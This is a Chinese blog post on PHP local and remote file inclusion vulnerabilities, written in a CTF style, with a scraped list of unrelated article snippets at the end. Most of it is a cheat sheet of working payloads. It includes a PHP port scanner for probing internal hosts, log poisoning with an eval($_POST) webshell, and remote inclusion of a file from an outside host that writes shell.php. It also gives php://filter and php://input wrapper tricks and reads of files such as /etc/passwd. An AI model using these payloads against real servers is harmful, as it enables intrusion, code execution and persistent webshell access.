1文件包含漏洞简介

include  require  include_once   require_once

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。

一下是一个扫描端口PHP,可以包含它来探测内网端口

<?php
//echo "<script>alert('SCAN');</script>";
if(isset($_REQUEST['ip'])){$ports = array(80,8080,21,443,3306,22,1,2,1433);$result = array();foreach($ports as $port){if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){$result[$port] = true;fclose($pf);}else{$result[$port] = false;}}foreach($result as $port=>$val){$serv = @getservbyport($port, 'TCP');echo "scan port " . $port . " (" . $serv . "):";if($val){//echo 'open'.'<br>';echo "<span style=\"color:green\">open</span><br>";}else{//echo 'close'.'<br>';echo "<span style=\"color:red\">close</span><br>";}}
}
?>

扫描端口

1.本地文件包含漏洞

2.远程文件包含漏洞

条件:php.ini文件中的allow_url_include=On

http://test.com/?page=http://www.baidu.com/index.html

3.常见的敏感文件

1. 根目录下存在flag文件C://flag.txt
2. passwd文件存在flag
/etc/passwd
3. Web根目录下存在 flag文件
4. 当前页面下存在flag文件
5. apache/php/mysql配置文件下存在flag文件
利用phpinfo()函数来获取路径

 3重要的利用手法

(1)包含上传的getshell

上传图片马,利用文件包含我们的图片马,菜刀连接

(2)包含日志文件getshell

burpsuite里面访问
http://127.0.0.1/<?php eval($_POST[1]);?>
为了避免在web中进行了url编码,进行报错,把爆错信息写进日志

http://test.com/?page=../apache/logs/error.log
成功

(3)远程文件包含getshell

(4)远程文件包含写shell

包含hackxf.cn下面的get_shell.txt文件,内容

<?php
//fputs()
//fopen(filename, mode)fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');?>

访问当前目录下已经生成的shell.php文件

(5)PHP封装协议读取文件

1 php://filter/read=convert.base64-encode/resource=index.php
2
3 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php

(6)PHP封装协议命令执行

http://127.0.0.1/cmd.php?file=php://input[POST DATA] <?php phpinfo()?>

(7)file封装协议读取文件

http://test.com/?page=file://c:/flag.txt

转载于:https://www.cnblogs.com/hackxf/p/8933169.html

文件包含漏洞(RFI)相关推荐

  1. 文件上传漏洞之——远程文件包含漏洞(RFI)

    定义 如果php.ini的配置选项allow_url_include为On的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞.利用远程文件包含漏洞,可以直接执行任意命令 原理 同本 ...

  2. 文件包含漏洞实例操作

    文件包含漏洞实例操作 参考文章 本地文件包含漏洞 无限制本地文件包含漏洞 session文件包含漏洞 有限制本地文件包含漏洞 %00截断 路径长度截断 点号截断 远程文件包含漏洞 无限制远程文件包含漏 ...

  3. 文件包含漏洞(LFI、RFI)(require()、include()函数)

    文章目录 一.文件包含漏洞分类 二.文件包含漏洞原理 三.文件包含函数 四.测试是否存在本地文件包含(LFI)漏洞 五.文件包含漏洞实例 "百度杯"CTF比赛 2017 二月场in ...

  4. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  5. 代码审计中的文件包含漏洞

    0x00 背景 文件包含漏洞是php语言的一大特性.文件包含的意思是,服务器在执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并执行,这会为开发者节省大量的时间.而文件包含漏洞的出现 ...

  6. php本地文件包含漏洞,php文件包含漏洞利用小结

    漏洞概述: 文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动态包含在服务器的文件,从而导致恶意代码的执行及敏感信息的泄露,主要包括本地文件包含LFI和远程文件包含RFI两种形式. 产生原因: ...

  7. fopen打开ftp文件_PHP文件包含漏洞利用思路与Bypass总结手册(一)

    作者:Qftm 合天智汇 前言 这个手册主要是记录针对PHP文件包含漏洞的利用思路与Bypass手法的总结. 相关函数 四个函数 php中引发文件包含漏洞的通常主要是以下四个函数: 1.include ...

  8. 文件包含原理及本地文件包含漏洞演示(本地文件,远程包含文件的测试)

    一.文件包含漏洞概述 1.定义:文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行 ...

  9. 文件包含漏洞及简单绕过

    文件包含漏洞 文章目录 文件包含漏洞 DVWA靶场对文件包含漏洞的解释 About Objective 漏洞发生原因 防御与绕过 DVWA File inclusion medium 绝对目录绕过 双 ...

最新文章

  1. 【JavaScript吉光片羽】遭遇IE8
  2. There is no tracking information for the current branch
  3. 1024电商项目的邮箱验证码与图形验证码功能模块
  4. 【当头棒喝】你是真的了解云计算吗?
  5. Pycharm的git密码填错了的修改方法
  6. android滤镜效果,Android图像处理之霓虹滤镜效果
  7. vba单元格批量赋值_「经验」快速学习VBA
  8. “人生就像滚雪球,重要的是发现很湿的雪和很长的坡。”+复利的力量
  9. mysql 临时表权限_MySQL临时表浅析
  10. 如何从gitbub上clone代码
  11. 指针(一)(基本概念)
  12. 苍南县勤奋高中计算机,浙江省苍南县勤奋高级中学高中语文公开课教案 为政以德.doc.doc...
  13. Logo小变动,心境大不同,SVG矢量动画格式网站Logo图片制作与实践教程(Python3)
  14. 小srf的游戏 题解
  15. 台式计算机键盘灯打开方式,台式机开机黑屏但键盘指示灯亮的解决方法
  16. 高德地图广告投放的优势、效果!
  17. CENTOS7 MINIAL环境下配置pptpd-1.4.0
  18. Python操作excel基础
  19. 请求https接口时报错:Caused by SSLError(SSLError(1, u‘[SSL: CERTIFICATE_VERIFY_FAILED] certificat,安装certifi
  20. 【案例】湘潭大学一体化运维管理平台

热门文章

  1. 如何避免繁琐的会议?一种正确的会议的打开方式
  2. stm32封装库官网下载方法 bxl下载
  3. Win7系统修复启动项命令
  4. python之个性二维码制作
  5. 小学四年级上册中的计算机,小学四年级信息技术上册教案
  6. 在Github上建立自己的个人博客网站详细教程
  7. 笔记:Inductive Robust Principal Component Analysis
  8. Failed to build custom metric java.lang.NumberFormatException: For input string: “∞“
  9. ASP.NET Core中的环境Development、Staging、Production
  10. wxd719() :大大您的方法有一点小问题:我设成每页35行,在分组区用GROUPNUMBER MOD 1 =0强制分组从新页开始,加上你的recordNumber mod